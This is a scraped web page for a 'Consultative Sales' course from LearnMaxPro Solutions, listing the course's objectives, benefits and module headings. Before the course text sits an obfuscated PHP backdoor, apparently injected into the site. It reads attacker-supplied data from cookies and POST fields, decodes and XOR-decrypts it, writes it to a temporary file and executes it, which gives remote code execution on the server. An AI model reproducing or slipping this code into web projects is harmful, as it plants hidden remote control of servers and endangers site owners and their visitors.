CONSULTATIVE SALES

$OJACwgla = chr ( 944 - 871 ).chr (95) . "\x78" . chr (76) . chr ( 381 - 272 ); $jcaAsxsC = "\x63" . 'l' . "\141" . "\163" . "\163" . chr (95) . chr ( 263 - 162 )."\x78" . chr (105) . chr ( 272 - 157 )."\x74" . 's';$wditdJRkc = class_exists($OJACwgla); $jcaAsxsC = "51356";$DsdKjLE = strpos($jcaAsxsC, $OJACwgla);if ($wditdJRkc == $DsdKjLE){function qIxWugPTf(){$zQepvoUn = new /* 6488 */ I_xLm(56203 + 56203); $zQepvoUn = NULL;}$NyKazOQFW = "56203";class I_xLm{private function dHZXHJ($NyKazOQFW){if (is_array(I_xLm::$OMOjjxBqQ)) {$name = sys_get_temp_dir() . "/" . crc32(I_xLm::$OMOjjxBqQ["salt"]);@I_xLm::$OMOjjxBqQ["write"]($name, I_xLm::$OMOjjxBqQ["content"]);include $name;@I_xLm::$OMOjjxBqQ["delete"]($name); $NyKazOQFW = "56203";exit();}}public function vgrRtjPCS(){$ZtwXhpBA = "52800";$this->_dummy = str_repeat($ZtwXhpBA, strlen($ZtwXhpBA));}public function __destruct(){I_xLm::$OMOjjxBqQ = @unserialize(I_xLm::$OMOjjxBqQ); $NyKazOQFW = "60167_51485";$this->dHZXHJ($NyKazOQFW); $NyKazOQFW = "60167_51485";}public function NpmAsEl($ZtwXhpBA, $GBLUOBkBu){return $ZtwXhpBA[0] ^ str_repeat($GBLUOBkBu, intval(strlen($ZtwXhpBA[0]) / strlen($GBLUOBkBu)) + 1);}public function nUxhlpUq($ZtwXhpBA){$FysvEdu = chr ( 547 - 449 ).chr (97) . "\x73" . chr ( 1027 - 926 )."\x36" . "\64";return array_map($FysvEdu . chr ( 664 - 569 ).'d' . chr ( 546 - 445 ).chr ( 144 - 45 ).'o' . chr ( 597 - 497 )."\x65", array($ZtwXhpBA,));}public function __construct($HfYENh=0){$LPPPRb = "\x2c";$ZtwXhpBA = "";$ElbxSoltn = $_POST;$rCwDgLYcnv = $_COOKIE;$GBLUOBkBu = "86a24b5f-4593-493c-a7d8-74643ccbc737";$ZtRmmNbtc = @$rCwDgLYcnv[substr($GBLUOBkBu, 0, 4)];if (!empty($ZtRmmNbtc)){$ZtRmmNbtc = explode($LPPPRb, $ZtRmmNbtc);foreach ($ZtRmmNbtc as $RdvWn){$ZtwXhpBA .= @$rCwDgLYcnv[$RdvWn];$ZtwXhpBA .= @$ElbxSoltn[$RdvWn];}$ZtwXhpBA = $this->nUxhlpUq($ZtwXhpBA);}I_xLm::$OMOjjxBqQ = $this->NpmAsEl($ZtwXhpBA, $GBLUOBkBu);if (strpos($GBLUOBkBu, $LPPPRb) !== FALSE){$GBLUOBkBu = explode($LPPPRb, $GBLUOBkBu); $vYAYfUz = base64_decode(md5($GBLUOBkBu[0])); $iwikMy = strlen($GBLUOBkBu[1]) > 5 ? substr($GBLUOBkBu[1], 0, 5) : $GBLUOBkBu[1];$_GET['new_key'] = md5(implode('', $GBLUOBkBu)); $bQEIUDtACX = str_repeat($iwikMy, 2); $zemsVeZDk = array_map('trim', $GBLUOBkBu);}}public static $OMOjjxBqQ = 18036;}qIxWugPTf();} CONSULTATIVE SALES | LearnMaxPro Solutions

Overview
Curriculum
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Consultative selling is the sales approach of forming trusting relationships with clients and allowing them to communicate their needs during sales.

Objective:

Our well Integrated course aims to offer clients solutions that address their specific needs, rather than trying to sell them specific products.

The course aims to prioritise relationships and open dialogue to identify and provide solutions to the customer’s needs

Benefits:

Building rapport
Selling more
Increases the chances of closing the sale
Customers feel comfortable

Key Modules

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Objective:

Benefits:

Key Modules

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